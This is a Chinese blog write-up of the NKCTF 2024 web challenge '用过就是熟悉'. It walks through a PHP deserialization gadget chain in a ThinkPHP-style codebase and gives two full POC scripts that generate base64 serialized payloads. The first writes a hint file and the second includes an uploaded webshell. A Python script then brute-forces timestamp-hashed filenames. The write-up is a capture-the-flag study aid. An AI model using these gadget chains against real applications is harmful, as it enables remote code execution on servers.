nnonkey k1n9的博客

当你为错过太阳而哭泣时,你也要再错过群星了——泰戈尔​

NKCTF 2024 用过就是熟悉最详细版本

用过就是熟悉 tp长链子反序列化

搭建完环境直接一堆php文件,难绷,首先出口类必不可少,找什么地方发生了反序列化

全局搜索

在index.class.php中我们看到

if($data['name']==='guest'){
            unserialize(base64_decode($data['password']));
        }

我们的密码是可以反序列化的,而且这个password是我们可以输入的

然后找一下恶意的地方

发现hinthint...php这个文件,肯定有用,我们

<?php
header('Content-Type: text/html; charset=UTF-8');
$content= "这里有hint
";

但是用不到,但是我们发现还有地方有hint

在Testone.php里面

public function __call($name, $arguments)
    {
        $a = time();
        if ($arguments[0]['time']==='10086'){
            $this->countTxtFiles("./app/controller/user/think/");
            include('./app/controller/user/think/hinthinthinthinthinthinthint.php');
            file_put_contents('./app/controller/user/think/'.md5($a),$content);
        }
    }

发现会读取hint.php的内容,然后把内容写入文件,但是文件名不可以控制,这个马上可以爆,我们肯定第一步是要读取这个文件吧

那就是要触发call方法,要触发这个,至少得a->b->c吧

那我们全局查找一下,用正则查找

\->\s*([^>]*)\s*->

image-20240325211055809

其实也没有多少,因为我们希望是方法,正则可以再离谱一点a->b->c()

我们来到view.php的

  public function __get($name)
    {
        $this->data[$name]->Loginsubmit($this->engine);
    }

我们跟Loginsubmit这个方法发现根本没有,正和我们的意,完美,完美就看看怎么调用get方法

get的特征还是一样的

image-20240325211851353

成功找到

  public function toArray()
    {
        $this->items->Loginout;
    }

然后就是找谁调用了它

有两个

public function toJson($options = JSON_UNESCAPED_UNICODE)
{
    return json_encode($this->toArray(), $options);
}

我们用这个,然后找toJson

  public function __toString()
    {
        return $this->toJson();
    }

正好,而且还有tostring

然后要调用tostring

这样就难分析了,我们再正着过来分析

找destruct

有点多

image-20240325212230182

慢慢看呗,最好是调用了就能触发tostring的,你别说,真有,我们看到windows的这里

 public function __destruct()
    {
        $this->close();
        $this->removeFiles();
    }

我们跟进removeFiles()方法

private function removeFiles()
    {
        foreach ($this->files as $filename) {
            $result = "File"."$filename"."can't move.";
        }
        $this->files = [];
    }

把filenam当作字符串处理,$this->files as $filename也就是我们的files,你别说,真找到了,然后就闭环了,就可以构造poc了

先把类写进去,然后写类的同时需要把命令空间一同带上

<?php
namespace think\process\pipes;
use think\Collection;
 
class Pipes{ //因为我们需要windows,然后windows又继承的是Pipes,所以我们需要写进来
 
}
 
class Windows extends Pipes{
    private $files = [];
 
    function __construct(){
        $this->files = [new Collection()];//files需要为数组
    }
}
 
namespace think;
class Collection{
    protected $items = [];
    public function  __construct(){
        $this->items=new View();
    }
}
namespace think;
abstract class Testone{//抽象类是不能实例化的,所以我们找到它的子类Debug来代替
 
}
class Debug extends Testone{
 
}
class View{
    public $engine=array("time"=>"10086");
    protected $data = [];
    function __construct(){
        $this->data['Loginout']=new Debug();
    }
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));

这个poc是来自p2zhh师傅的

然后我们还要满足的就是那个时间搓

我先在本地获得一个时间戳,然后我用python发包,不断去访问这个文件,然后时间戳不断+1,最后访问到我们的文件

import hashlib
import time
import requests

t = 222222
url='你的地址加上路径/app/controller/user/think/'
#开始循环
for i in range(1,9999):
    t=t+1;
    hash=hashlib.md5(t).hexdigest()
    res=requests.get(url+hash)
    print(f"{hash} : f{len(res.text)}")
    print(res.text)

或者可以生成一个时间戳的字典,然后bp不断发包,这样更容易点

得到内容

我曾听说,密码的明文,加上心爱之人的名字(Chu0),就能够听到游客的心声

这个不会。。。。。

抄了https://www.cnblogs.com/gxngxngxn/p/18091636

这里提示我们guest的密码就是明文+Chu0,那么如何得到明文?

img

注意到这里有段解密逻辑,我们本地调试,将hint中的包提交试试

img

得到密码明文,接着使用

guest/!@!@!@!@NKCTFChu0

或者在数据库中可以找到,直接全局搜索password

'admin.member.edit', '{\"userID\":\"1\",\"name\":\"admin\",\"roleID\":\"3\",\"email\":\"\",\"phone\":\"\",\"nickName\":\"\\u7cfb\\u7edf\\u7ba1\\u7406\\u5458\",\"avatar\":\"\",\"sex\":\"1\",\"sizeMax\":\"0\",\"sizeUse\":\"2002\",\"status\":\"1\",\"lastLogin\":\"1709598869\",\"modifyTime\":\"1709598869\",\"createTime\":\"1709035054\",\"groupInfo\":\"{\\\"1\\\":\\\"1\\\"}\",\"jobInfo\":\"[]\",\"sourceInfo\":\"{\\\"sourceID\\\":\\\"5\\\",\\\"size\\\":\\\"434\\\"}\",\"password\":\"!@!@!@!@NKCTFChu0\",\"addMore\":\"more\",\"_change\":{\"password\":\"!@!@!@!@NKCTFChu0\"},\"ip\":\"::1\"}', 1709598961);

登录

然后发现是个桌面,然后回收站有东西

打开发现是一个php的木马img

直接访问试一下,不行,还能怎么办?

文件包含

在config.php中

  public function __call(string $name, array $arguments)
    {
        if (strpos($arguments[0]['name'],'.')){
            die('Error!');
        }else{
            include("./".$arguments[0]['name']);
        }
    }

可以包含文件和上面的poc差不多

<?php
namespace think\process\pipes;
use think\Collection;
 
class Pipes{
 
}
 
class Windows extends Pipes{
    private $files = [];
 
    function __construct(){
        $this->files = [new Collection()];//触发Model __toString(),子类Pivot合适
    }
}
 
namespace think;
class Collection{
    protected $items = [];
    public function  __construct(){
        $this->items=new View();
    }
}
namespace think;
abstract class Testone{
 
}
class Debug extends Testone{
 
}
class Config{
 
}
class View{
    public $engine=array("name"=>"data/files/shell");
    protected $data = [];
    function __construct(){
        $this->data['Loginout']=new Config();
    }
}
 
 
 
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));

懒,直接抄https://blog.csdn.net/2301_77392802 的poc

然后就是输入命令

img

curl外带

本原创文章未经允许不得转载 | 当前页面:nnonkey k1n9的博客 » NKCTF 2024 用过就是熟悉最详细版本

评论